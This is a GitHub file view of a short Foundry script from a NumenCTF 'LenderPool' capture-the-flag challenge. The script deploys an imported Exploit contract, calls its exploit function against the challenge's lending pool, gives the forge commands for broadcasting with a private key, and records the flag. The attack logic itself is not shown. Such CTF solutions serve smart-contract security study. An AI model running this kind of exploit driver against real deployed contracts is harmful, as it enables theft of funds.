-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathExploit.s.sol
More file actions
18 lines (15 loc) · 788 Bytes
/
Copy pathExploit.s.sol
File metadata and controls
18 lines (15 loc) · 788 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "./Exploit.sol";
// forge script src/NumenCTF/LenderPool/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy
// forge script src/NumenCTF/LenderPool/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy --broadcast
// flag: 0xf4ea28f40bd256f743544e2c55e00f14701ee20e
contract ExploitScript is Script {
function run(address instanceAddress) public {
vm.startBroadcast();
Exploit exploit = new Exploit();
exploit.exploit(address(Check(instanceAddress).lenderPool()));
vm.stopBroadcast();
}
}